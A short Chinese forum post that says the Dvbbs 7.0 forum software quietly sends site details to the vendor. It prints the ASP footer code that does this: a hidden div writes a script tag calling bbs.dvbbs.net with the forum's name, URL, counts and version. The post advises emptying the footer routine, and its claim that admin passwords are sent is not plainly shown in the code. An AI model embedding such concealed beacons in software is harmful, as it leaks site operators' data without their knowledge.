动网在程序里添加了一段收集论坛地址、论坛名称、后台密码等9项信息ASP程序，并将这些信息传递回动网。
Response.Write "<script src=""http://bbs.dvbbs.net/packjs.asp?a="&dupack(1)&"&b="&dupack(2)&"&c="&Dvbbs.Forum_info(0)&"&d="&Dvbbs.Get_ScriptNameUrl&"&e="&Yrs("Forum_usernum")&" &f="&Yrs("Forum_PostNum")&"&g="&Dvbbs.Forum_info(5)&"&h="&IsSqlDatabase&"&i= Dvbbs Version "&Dvbbs.Forum_Version&"""></script>" End if
Sub footer() Response.Write"<table align=center >" Response.Write "<tr align=center><td width=""100%"" class=copyright>" Response.Write"Dvbbs v7.0 , Copyright (c) 2001-2005 <a href=""http://www.aspsky.net"" target=""_blank""><font color=#708796><b>AspSky<font color=#CC0000>.Net</font></b></font></a>. All Rights Reserved ." Response.Write"</td>" Response.Write"</tr>" Response.Write"</table>" Response.Write "<div id=footjs style=""display:none"">" Dim Yrs,dupack set Yrs=Dvbbs.Execute("select * from Dv_setup") dupack=Split(Yrs("forum_pack"),"|||") If Cint(dupack(0))=0 Then Response.Write "<a href=""http://bbs.dvbbs.net"" target=_blank><font color="&Dvbbs.Mainsetting(1)&">官方讨论区</font></a>" Else Response.Write "<script src=""http://bbs.dvbbs.net/packjs.asp?a="&dupack(1)&"&b="&dupack(2)&"&c="&Dvbbs.Forum_info(0)&"&d="&Dvbbs.Get_ScriptNameUrl&"&e="&Yrs("Forum_usernum")&" &f="&Yrs("Forum_PostNum")&"&g="&Dvbbs.Forum_info(5)&"&h="&IsSqlDatabase&"&i= Dvbbs Version "&Dvbbs.Forum_Version&"""></script>" End if Yrs.close:set Yrs=nothing Response.Write "</div>" %> <script language="javascript"> document.getElementById("packjs").innerHTML=document.getElementById("footjs" ).innerHTML; </script> <% Response.Write "</body>" Response.Write "</html>" SaveLog() End Sub
改成这样：Sub footer()End Sub